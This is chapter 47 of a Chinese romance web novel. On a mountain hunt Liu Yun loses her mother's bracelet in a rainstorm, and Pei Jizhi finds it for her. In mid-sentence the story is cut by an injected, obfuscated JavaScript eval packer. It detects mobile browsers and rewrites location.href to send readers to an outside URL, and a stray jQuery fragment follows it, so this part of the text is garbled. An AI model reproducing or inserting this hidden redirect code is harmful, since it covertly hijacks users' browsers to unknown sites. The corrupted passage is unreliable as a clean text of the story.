47. 山雨、独处、手镯
作品:《欺辱年少权臣后》 赵飞按照和伙伴们的约定时间带着柳芸和裴济之二人出现在山脚下。
村里的小伙子们见到陌生面孔感到新鲜,尤其这这一男一女周身气度不凡,穿着虽然不起眼但识货的人一看就知道昂贵。
“飞哥,这两位你不介绍介绍?”
赵飞轻咳两声,郑重介绍:“这二位是我的客人,想带他们游览一番,大家不要为难。”
“如何称呼呢?”
柳芸道:“我姓柳,我旁边这位姓裴。”
众人于是笑着道:“柳姑娘,裴公子。”
“天色渐晚,话不宜迟,咱们还是赶紧上山吧。”队伍中有人提议。
柳芸抬头看了眼快要下山的夕阳,若是完全天黑,山上行走必然有危险。
领头的健硕青年自我介绍叫小黑,他给队伍里每个人发了一把弹弓和一个竹篓子。
柳芸问赵飞:“就用这个打猎吗?”
赵飞不好意思地挠头:“村里比较穷,这个也够用了。”
柳芸看了看手上残破不堪的弹弓,没再说话。
一行人哼哧哼哧爬山,村民们山路是走惯了的,自然习以为常,不觉得累。
赵飞还以为柳芸会坚持不下去,他特意放慢脚步,时常留意柳芸这边的动向。
因此三人便落在队尾。
但让赵飞感到惊奇的是,柳芸和裴济之二人全程脸不红心不跳,如履平地,神色淡然跟着队伍走。
赵飞挠挠头,这裴济之不是个书生吗?书生现在体力也这么好吗?还有,师妹不是位娇娇大小姐吗?平日里都是能坐轿子绝不走路的,咋这么能走?
他心中疑窦,但他们二人走得动对他来说是好事,看来此趟行程不会成为拖累。
约莫半个时辰后,到了山腰处,领队将队伍分成几波,分头去打猎,约定一个时辰后还在这里碰头。
赵飞、柳芸、裴济之三人因是一道来的,赵飞也不想给其他人增加麻烦,于是主动提出带着二人。
村民们也没什么意见,于是四下散开了。
赵飞朝二人笑笑:“你俩放心跟着我吧,这山头我熟。”
他熟门熟路走进一片密林,柳芸正跟在赵飞后头,赵飞却猛地停住脚步,打了个嘘的手势。
柳芸屏息凝神朝他手指的方向望过去,只见一抹白色的毛茸茸的东西穿梭在草丛间。
赵飞找了块大石头蹲下,屏气凝神,将一枚光滑的小石子扣在弹弓皮兜内。
野兔正低头啃食青草,全然不觉危险临近。
柳芸观察赵飞动作,只见他手腕微沉、臂弯稳如磐石,只听“咻”的一声轻响,石子破空而出,不偏不倚正中野兔后脑。
那兔子四肢一蹬,当即瘫软在草丛里不再动弹。
“完美!收获一只野兔!明天可以开开味了!”
赵飞脸上难掩得色,他拍了拍自己胸脯,向柳芸炫耀:“咋样?你师兄我的弹弓技术还不错吧?”
说着他收了弹弓,快步上前拎起兔耳,兔身尚温,一双圆眼已失了神。
赵飞提着兔子在她面前晃了晃:“肉还挺多的。”
柳芸配合地朝他竖起大拇指。
赵飞将野兔扔进竹篓里,三人继续前行。
赵飞觉得今天运气特别好,走两步就能遇到新的猎物,他对这地形也很熟悉,一时忘我,眼尖瞧见远处有一只斑鸠,随口嘱咐几句柳芸不要乱跑,就一溜烟窜出去捉鸟了。
只剩下柳芸和裴济之二人逗留原地。
柳芸左等右等,见赵飞迟迟不归,身边裴济之又跟木头一样,一言不发。
难得有独处的时间,她眼珠子转了转,觉得眼下是个绝佳的好机会。
说着,她腾得站起身,拍了拍裙摆上的灰尘。
“你做什么?”裴济之问。
柳芸撇撇嘴:“随便逛逛。”
裴济之皱眉:“不行。这片山头我们不熟悉、还是等赵飞回来。”
柳芸把他的话当耳旁风,径直往另一头密林深处走。
“三”
“二”
“一”
……
柳芸心中倒数,身后果然有脚步声传来,越来越近,她唇角扬起笑意。
“你果然还是跟上来了。”
裴济之神色颇有些不自然:“还是别乱走了。”
“来都来了。”
柳芸蹲下身,摘下一朵蓝色的野花闻了闻,放到裴济之鼻尖。
“你闻,是不是很香?”
裴济之看到柳芸大大的眼睛眨巴眨巴,鬼使神差点了点头。
柳芸趁他不备,笑着将野花插在他头上。
然后跳开几步,指着他:“不错不错,你这样比平时古板的样子生动多了!”
裴济之蹙眉,想伸手将花取下,却被柳芸捉住手腕:“不许取下来!这是本小姐的命令。”
他只得作罢。
走到一半,天黑了下来,不妙的是,雨点淅淅沥沥落了下来。
柳芸想找个地方躲雨,脚步加快,但雨点打在泥土上,道路变得湿滑不好行走。
她没留神,一不小心没踩实,脚一滑,竟直愣愣朝下跌去。
她拼命想抓点什么维持平衡,但都无济于事,就当她以为自己要跌倒在泥地里的时候,一只遒劲有力的大手牢牢扣住她的手腕。
柳芸借着裴济之的力重新站稳,但手中的镯子悄然滑落了。
“没事吧?走路当心。”裴济之此刻也很狼狈,雨水稀里哗啦兜头浇在脸上、身上,而且这雨越下越大,没有停下的趋势。
但柳芸没空回答他,她蹲下身,疯了一样扒开枯树枝和树叶,不顾双手脏污,在草地里摸索,甚至连指尖被碎石划破了也浑然不觉。
“柳芸?”裴济之不知道发生什么了,他蹲下身,想要拉她起来。
但柳芸挣开他的手,眼泪砸在泥地上,执拗地在草丛里翻找。
“你到底在找什么?”裴济之只能强行扣住她的肩膀,逼问,“天色黑了,你这样胡乱扒拉,根本找不到!”
柳芸声音发颤,带着哭腔:“我娘……我娘留给我的手镯掉了……”
她的眼神茫然无措,刺得裴济之心头一阵。
他看见她手腕间确实空荡荡的。他凝眸四下张望,注意到有一处狭窄的山洞,于是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403697|197724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他蹲下身,尽量放缓语气:“我帮你找,你这样的状态不行,淋雨会生病的,先去山洞里躲雨。”
柳芸没有理睬裴济之,她一遍遍在陡坡、石缝、树根下摸索,理智此刻已经全无。
裴济之从未见识过柳芸的这一面,他叹了口气,这次出行,他没有让凌安跟着,眼下,柳芸又六神无主,他必须要先护住她周全。
他伸手环住她的腰,将她从泥地里抱起来,柳芸还在扑腾,嘴里喊着:“你放开我!我要继续找……”
柳芸拼命使劲,但背后的躯体如同一堵墙,怎么也甩不掉。
裴济之一言不发将柳芸抱进山洞,放到石头上。
这场山雨来得又急又猛,豆大的雨点砸在树叶上,沿着山壁滑下来。
柳芸早已浑身湿透,头发黏在脸颊,嘴唇冻得发白,眼睛却还死死盯着雨幕里漆黑一片的泥土,声音发颤:“不行……我得去找,那是我娘留给我的东西。”
她刚要冲进雨里,手腕就被人一把攥住。
裴济之将身上的外袍脱下来,不由分说裹在她身上,语气沉而稳:“雨太大,你在这里等着。”
裴济之捡了些枯树枝堆在她脚边,又熟练地用石头点着火,燃起一个小火堆。
“你别乱动,我去找。”
他正色道。
柳芸抓住他的衣袖,眼泪混着雨水往下掉,神色是从未有过的哀求:“求你了,这对我真的很重要……”
“知道了”
他只留下这一句,转身就冲进滂沱大雨里。
颀长的身影很快被雨雾吞没。
山洞里阴冷潮湿,柳芸缩在袍子里,听着外面哗哗的雨声,心揪成一团。
裴济之的外袍也没比她好多少,也是湿的,这样下去肯定会风寒,柳芸咬了咬牙,将身上湿透的外袍脱下,放在离火近点的地方摊开,试图烤干。
她浑身上下只剩下单衣,山风呼啸,她抱着双膝,冷得浑身哆嗦,只能再往火边挪了挪。
她既盼着裴济之能找到那只手镯,又怕他抛下自己,一去不返。
每一声雷声,都像砸在她心上。
柳芸从小到大,顺风顺水,还没遇到过这样的境况,难免有些懊悔,早知道今日便不来这山上了。
这山里荒无人烟,还有野兽出没,若是裴济之真的抛下她独自离开,柳芸也没有把握能活着离开。
她死死盯着洞口,直到那道熟悉的身影,终于从雨里一步步走回来。
雨水顺着他的发梢、脸颊往下淌,衣袍全湿透,可他摊开掌心——那只温润的镯子,此刻安安静静躺在他温热的手心里。
柳芸从未觉得裴济之如此顺眼,望着青年一贯的清冷眉眼,她心中不禁泛起波澜。
裴济之喘着气,显然是费了很大的功夫,但他只是将手镯递给柳芸,简洁明了说了句:“找到了,没丢。”
柳芸整个人愣住,她呼吸一滞,眼眶瞬间红了,几乎是扑过去,小心翼翼将失而复得的手镯捧在手心。
“谢谢你……真的谢谢你……”
柳芸抬眼看青年,少女此刻的眼睫毛湿漉漉地黏在一起,眼底却亮得惊人。

